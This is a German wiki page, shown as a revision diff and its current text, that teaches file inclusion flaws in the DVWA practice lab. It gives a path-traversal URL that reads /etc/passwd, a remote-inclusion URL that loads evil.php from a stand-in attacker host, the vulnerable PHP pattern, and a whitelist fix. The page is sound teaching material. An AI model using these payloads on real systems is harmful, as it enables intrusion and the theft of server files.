DVWA File Inclusion: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (10 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| + | =Problem= | ||
*Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet. | *Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet. | ||
=Local File Inclusion= | =Local File Inclusion= | ||
*Ausführen einer Datei, die lokal auf dem Server vorliegt. | *Ausführen einer Datei, die lokal auf dem Server vorliegt. | ||
| − | *z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd | + | *z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd) |
| − | [[Datei:DVWA-fileinclusion-1.png| | + | [[Datei:DVWA-fileinclusion-1.png|1000px]] |
=Remote File Inclusion= | =Remote File Inclusion= | ||
*Download und Ausführen einer Datei von extern. | *Download und Ausführen einer Datei von extern. | ||
| + | *z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php | ||
| + | |||
| + | =Ursache= | ||
| + | *Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung. | ||
| + | *z. Bsp. PHP: | ||
| + | <?php | ||
| + | $file = $_GET[ 'page' ]; | ||
| + | .... | ||
| + | *Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen. | ||
| + | *Beispiel für eine sichere Kontrolle: | ||
| + | if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { | ||
| + | echo "ERROR: File not found!"; | ||
| + | exit; | ||
| + | } | ||
| + | |||
| + | =Gegenmassnahmen= | ||
| + | *Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen. | ||
Aktuelle Version vom 8. Juli 2021, 08:58 Uhr
Problem
- Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet.
Local File Inclusion
- Ausführen einer Datei, die lokal auf dem Server vorliegt.
- z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd)
Remote File Inclusion
- Download und Ausführen einer Datei von extern.
- z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php
Ursache
- Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung.
- z. Bsp. PHP:
<?php $file = $_GET[ 'page' ]; ....
- Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen.
- Beispiel für eine sichere Kontrolle:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
echo "ERROR: File not found!";
exit;
}
Gegenmassnahmen
- Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen.